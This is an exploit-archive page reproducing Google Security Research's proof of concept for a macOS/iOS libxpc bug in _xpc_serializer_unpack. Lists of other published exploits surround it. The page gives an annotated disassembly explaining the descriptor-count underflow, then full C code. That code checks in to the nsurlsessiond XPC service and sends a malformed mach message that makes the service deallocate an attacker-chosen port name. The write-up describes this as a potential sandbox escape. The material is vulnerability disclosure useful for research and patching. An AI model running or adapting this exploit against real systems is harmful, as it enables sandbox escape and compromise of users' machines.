Menu

Improved exploit search engine. Try it out

"macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack"

Author

"Google Security Research"

Platform

multiple

Release date

2019-01-31

Release Date Title Type Platform Author
2019-07-12 "Xymon 4.3.25 - useradm Command Execution (Metasploit)" remote multiple Metasploit
2019-07-10 "Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access" dos multiple "Google Security Research"
2019-07-09 "Firefox 67.0.4 - Denial of Service" dos multiple "Tejas Ajay Naik"
2019-07-03 "Symantec DLP 15.5 MP1 - Cross-Site Scripting" webapps multiple "Chapman Schleiss"
2019-07-01 "CyberPanel 1.8.4 - Cross-Site Request Forgery" webapps multiple "Bilgi Birikim Sistemleri"
2019-07-01 "Sahi pro 8.x - Directory Traversal" webapps multiple "Alexander Bluestein"
2019-07-01 "SAP Crystal Reports - Information Disclosure" webapps multiple "Mohamed M.Fouad"
2019-07-01 "Varient 1.6.1 - SQL Injection" webapps multiple "Mehmet EMIROGLU"
2019-06-26 "Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion" dos multiple "Google Security Research"
2019-06-24 "GrandNode 4.40 - Path Traversal / Arbitrary File Download" webapps multiple "Corey Robinson"
2019-06-25 "SuperDoctor5 - 'NRPE' Remote Code Execution" remote multiple "Simon Gurney"
2019-06-18 "Sahi pro 8.x - Cross-Site Scripting" webapps multiple "Goutham Madhwaraj"
2019-06-18 "Sahi pro 8.x - SQL Injection" webapps multiple "Goutham Madhwaraj"
2019-06-18 "Sahi pro 7.x/8.x - Directory Traversal" webapps multiple "Goutham Madhwaraj"
2019-06-17 "RedwoodHQ 2.5.5 - Authentication Bypass" webapps multiple EthicalHCOP
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalrecur_add_bydayrules' Stack-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'parser_get_next_char' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalmemorystrdupanddequote' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - Type Confusion" dos multiple "X41 D-Sec GmbH"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-28 "Phraseanet < 4.0.7 - Cross-Site Scripting" webapps multiple "Krzysztof Szulski"
2019-05-27 "Deltek Maconomy 2.2.5 - Local File Inclusion" webapps multiple JameelNabbo
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-22 "Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting" webapps multiple Vingroup
2019-05-22 "Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions" webapps multiple Vingroup
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
Release Date Title Type Platform Author
2019-07-17 "Linux - Broken Permission and Object Lifetime Handling for PTRACE_TRACEME" local linux "Google Security Research"
2019-07-12 "Microsoft Windows 10.0.17134.648 - HTTP -> SMB NTLM Reflection Leads to Privilege Elevation" local windows "Google Security Research"
2019-07-12 "Microsoft Font Subsetting - DLL Heap Corruption in ComputeFormat4CmapData" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Empty ROS Strings" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - NULL Pointer Dereferences in OpenType Font Handling While Accessing Empty dynarrays" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Multiple Bugs in OpenType Font Handling Related to the _post_ Table" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Out-of-Bounds Read in OpenType Font Handling Due to Undefined FontName Index" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling While Processing CFF Blend DICT Operator" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Unbounded iFD" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow Due to Integer Overflow in readTTCDirectory" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readCharset" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readEncoding" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Incorrect Handling of blendArray" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Interpreter Stack Underflow in OpenType Font Handling Due to Missing CHKUFLOW" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Use of Uninitialized Memory While Freeing Resources in var_loadavar" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack-Based Buffer Overflow in do_set_weight_vector_cube for Large nAxes" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative nAxes" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth" dos windows "Google Security Research"
2019-07-10 "Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access" dos multiple "Google Security Research"
2019-07-10 "Microsoft Windows - Font Subsetting DLL Heap-Based Out-of-Bounds Read in MergeFonts" dos windows "Google Security Research"
2019-06-26 "Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion" dos multiple "Google Security Research"
2019-06-24 "Microsoft Windows Font Cache Service - Insecure Sections Privilege Escalation" dos windows "Google Security Research"
2019-06-24 "Microsoft Windows - 'CmpAddRemoveContainerToCLFSLog' Arbitrary File/Directory Creation" dos windows "Google Security Research"
2019-06-20 "Linux - Use-After-Free via race Between modify_ldt() and #BR Exception" dos linux "Google Security Research"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-29 "Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL" dos android "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46297/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46297/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46297/40766/macos-10143-ios-1213-arbitrary-mach-port-name-deallocation-in-xpc-services-due-to-invalid-mach-message-parsing-in--xpc-serializer-unpack/download/", "exploit_id": "46297", "exploit_description": "\"macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack\"", "exploit_date": "2019-01-31", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

blog comments powered by Disqus

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
/*
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.

There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.

Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.

Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.

This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.

It turns out that libxpc does exactly that in _xpc_serializer_unpack:

__text:0000000000007016                 cmp     dword ptr [rbx], 0        ; rbx points to the start of the mach message
__text:0000000000007019                 js      short loc_703F            ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F:                               ; CODE XREF: __xpc_serializer_unpack+67↑j
__text:000000000000703F                 mov     rax, rbx
__text:0000000000007042                 mov     edx, [rax+18h]            ; read msgh_descriptor_count, which could be 0
__text:0000000000007045                 add     rbx, 1Ch                  ; point rbx to the first descriptor
__text:0000000000007049                 mov     ecx, 0FF000000h
__text:000000000000704E                 and     ecx, [rax+24h]
__text:0000000000007051                 cmp     ecx, 1000000h             ; is the type OOL_DESC?
__text:0000000000007057                 jnz     short loc_7089
__text:0000000000007059                 or      byte ptr [r12+0ACh], 4    ; yes, then set this bit
__text:0000000000007062                 mov     r9, [rbx]                 ; save the address field
__text:0000000000007065                 mov     r15d, [rbx+0Ch]           ; and size field for later
__text:0000000000007069                 lea     rax, __xpc_serializer_munmap
__text:0000000000007070                 mov     [r12+48h], rax
__text:0000000000007075                 dec     edx                       ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077                 mov     dword ptr [rbx+0Ch], 0    ; clear the size in the message
__text:000000000000707E                 lea     rbx, [rbx+10h]            ; skip over this desc
__text:0000000000007082                 mov     eax, 2Ch ; ','
__text:0000000000007087                 jmp     short loc_7094
__text:0000000000007094                 test    edx, edx                  ; test whether msgh_descriptor_count is now 0
__text:0000000000007096                 jz      loc_713E                  ; but we've decremented it to 0xffffffff :)

The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.

By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().

You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.

There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.

Still, it would be a nice sandbox escape on MacOS.

Tested on MacOS 10.14.1 (18B75)
*/

// ianbeer
#if 0
Arbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack

_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.

There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
they're also transfered as MACH_PORT_OOL_PORT descriptors.

Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.

Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.

This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.

It turns out that libxpc does exactly that in _xpc_serializer_unpack:

__text:0000000000007016                 cmp     dword ptr [rbx], 0        ; rbx points to the start of the mach message
__text:0000000000007019                 js      short loc_703F            ; branch if the COMPLEX bit is set
...
__text:000000000000703F loc_703F:                               ; CODE XREF: __xpc_serializer_unpack+67↑j
__text:000000000000703F                 mov     rax, rbx
__text:0000000000007042                 mov     edx, [rax+18h]            ; read msgh_descriptor_count, which could be 0
__text:0000000000007045                 add     rbx, 1Ch                  ; point rbx to the first descriptor
__text:0000000000007049                 mov     ecx, 0FF000000h
__text:000000000000704E                 and     ecx, [rax+24h]
__text:0000000000007051                 cmp     ecx, 1000000h             ; is the type OOL_DESC?
__text:0000000000007057                 jnz     short loc_7089
__text:0000000000007059                 or      byte ptr [r12+0ACh], 4    ; yes, then set this bit
__text:0000000000007062                 mov     r9, [rbx]                 ; save the address field
__text:0000000000007065                 mov     r15d, [rbx+0Ch]           ; and size field for later
__text:0000000000007069                 lea     rax, __xpc_serializer_munmap
__text:0000000000007070                 mov     [r12+48h], rax
__text:0000000000007075                 dec     edx                       ; decrement msgh_descriptor_count, so could now be 0xffffffff
__text:0000000000007077                 mov     dword ptr [rbx+0Ch], 0    ; clear the size in the message
__text:000000000000707E                 lea     rbx, [rbx+10h]            ; skip over this desc
__text:0000000000007082                 mov     eax, 2Ch ; ','
__text:0000000000007087                 jmp     short loc_7094
__text:0000000000007094                 test    edx, edx                  ; test whether msgh_descriptor_count is now 0
__text:0000000000007096                 jz      loc_713E                  ; but we've decremented it to 0xffffffff :)

The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.

By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().

You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
for the port name 0x414141 to be passed in rsi.

There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.

Still, it would be a nice sandbox escape on MacOS.

Tested on MacOS 10.14.1 (18B75)

#endif

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>

kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);

struct xpc_w00t {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t client_port;
  mach_msg_port_descriptor_t reply_port;
};

static int
xpc_checkin(
  mach_port_t service_port,
  mach_port_t* client_port,
  mach_port_t* reply_port)
{
  // allocate the client and reply port:
  kern_return_t err;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port);
  if (err != KERN_SUCCESS) {
    printf("port allocation failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  }

  // insert a send so we maintain the ability to send to this port
  err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND);
  if (err != KERN_SUCCESS) {
    printf("port right insertion failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  }

  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port);
  if (err != KERN_SUCCESS) {
    printf("port allocation failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  }

  struct xpc_w00t msg;
  memset(&msg.hdr, 0, sizeof(msg));
  msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = service_port;
  msg.hdr.msgh_id   = 'w00t';
  
  msg.body.msgh_descriptor_count = 2;

  msg.client_port.name        = *client_port;
  msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
  msg.client_port.type        = MACH_MSG_PORT_DESCRIPTOR;

  msg.reply_port.name        = *reply_port;
  msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
  msg.reply_port.type        = MACH_MSG_PORT_DESCRIPTOR;
  
  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 msg.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  if (err != KERN_SUCCESS) {
    printf("w00t message send failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  } else {
    printf("sent xpc w00t message\n");
  }

  return 1;
}

struct xpc_bad_ool {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_descriptor_t ool0;
  mach_msg_port_descriptor_t port1;
  mach_msg_ool_descriptor_t ool2;
};


void bad_xpc(mach_port_t p) {
  kern_return_t err;
  struct xpc_bad_ool msg = {0};

  msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = p;
  msg.hdr.msgh_id   = 0x10000000;
  
  msg.body.msgh_descriptor_count = 0;

  msg.ool0.address = 0x414141414141;
  msg.ool0.size = 0x4000;
  msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR;
  
  msg.port1.name = 0x41414141;  // port name to mach_port_deallocate in target
  msg.port1.disposition = 0x11;
  msg.port1.type = MACH_MSG_PORT_DESCRIPTOR;
  
  msg.ool2.address = 0x414141414141;
  msg.ool2.size = 0x4000;
  msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR;
  

  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 msg.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  if (err != KERN_SUCCESS) {
    printf("xpc message send failed: %s\n", mach_error_string(err));
    exit(EXIT_FAILURE);
  } else {
    printf("sent xpc message\n");
  }

}

// lookup a launchd service:
static mach_port_t
lookup(
  char* name)
{
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return MACH_PORT_NULL;
  }
  return service_port;
}

void
xpc_connect(
  char* service_name,
  mach_port_t* xpc_client_port,
  mach_port_t* xpc_reply_port)
{
  mach_port_t service_port = lookup(service_name);
  xpc_checkin(service_port, xpc_client_port, xpc_reply_port);
  mach_port_destroy(mach_task_self(), service_port);
}

int main() {
  mach_port_t service_port = lookup("com.apple.nsurlsessiond");

  mach_port_t xpc_client_port = MACH_PORT_NULL;
  mach_port_t xpc_reply_port  = MACH_PORT_NULL;

  xpc_checkin(service_port, &xpc_client_port, &xpc_reply_port);
  printf("xpc_client_port: %x\n", xpc_client_port);
  printf("checked in?\n");

  bad_xpc(xpc_client_port);

  return 0;
}